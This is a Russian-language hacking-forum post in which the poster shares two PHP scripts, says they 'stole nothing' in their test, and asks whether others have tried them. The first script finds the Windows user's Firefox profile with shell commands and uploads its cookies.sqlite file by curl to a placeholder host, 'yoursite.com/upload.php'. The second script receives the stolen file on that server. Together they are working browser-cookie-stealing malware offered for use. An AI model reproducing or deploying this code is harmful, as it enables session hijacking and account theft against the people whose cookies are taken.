Что-то у меня так ничего и не стырил, видно в 32 уже профиксили...Кто-нить пробовал ?
Кому лень качать там два файла:
Код:
<?PHP
function ip_log(){
$data = "12783162312378912783918923";
preg_match_all("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/",$data,$ip);
return $ip;
}
function upload($file){
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_VERBOSE,true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/31.0 (compatible;)");
curl_setopt($ch, CURLOPT_URL, "http://yoursite.com/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
// same as <input type="file" name="file_box">
$post = array(
"uploadedfile"=> "@$file",
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$response = curl_exec($ch);
}
$windir = trim(shell_exec('echo %windir%')) . "\\";
$windir = substr($windir,0, 2);
$ip = ip_log();
$data = shell_exec("dir " . (escapeshellarg($windir . "\Documents and Settings" . "\\" . get_current_user() . "\\" . "Application Data\Mozilla\Firefox\Profiles")));
if($data != "")
{
preg_match_all("/<DIR> +(.*\.default)/",$data,$pname); // search for the profile name
$data = shell_exec("dir " . (escapeshellarg($windir . "\Documents and Settings" . "\\" . get_current_user() . "\\" . "Application Data\Mozilla\Firefox\Profiles\\" . $pname[1][0])));
preg_match_all("/Directory of (.*)/",$data,$loc); //get the exact cookie's path
upload($loc[1][0] . "\cookies.sqlite",$ip . "_cookies.sqlite");
}
else
{
$data = shell_exec("dir " . (escapeshellarg($windir . "\Users" . "\\" . get_current_user() . "\\" . "Application Data\Mozilla\Firefox\Profiles")));
preg_match_all("/<DIR> +(.*\.default)/",$data,$pname); // search for the profile name
$data = shell_exec("dir " . (escapeshellarg($windir . "\Users" . "\\" . get_current_user() . "\\" . "Application Data\Mozilla\Firefox\Profiles\\" . $pname[1][0])));
preg_match_all("/Directory of (.*)/",$data,$loc); //get the exact cookie's path
upload($loc[1][0] . "\cookies.sqlite",$ip . "_cookies.sqlite");
}
?>
Код:
<?PHP
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
?>
У меня выводит:There was an error uploading the file, please try again! похоже не работает уже !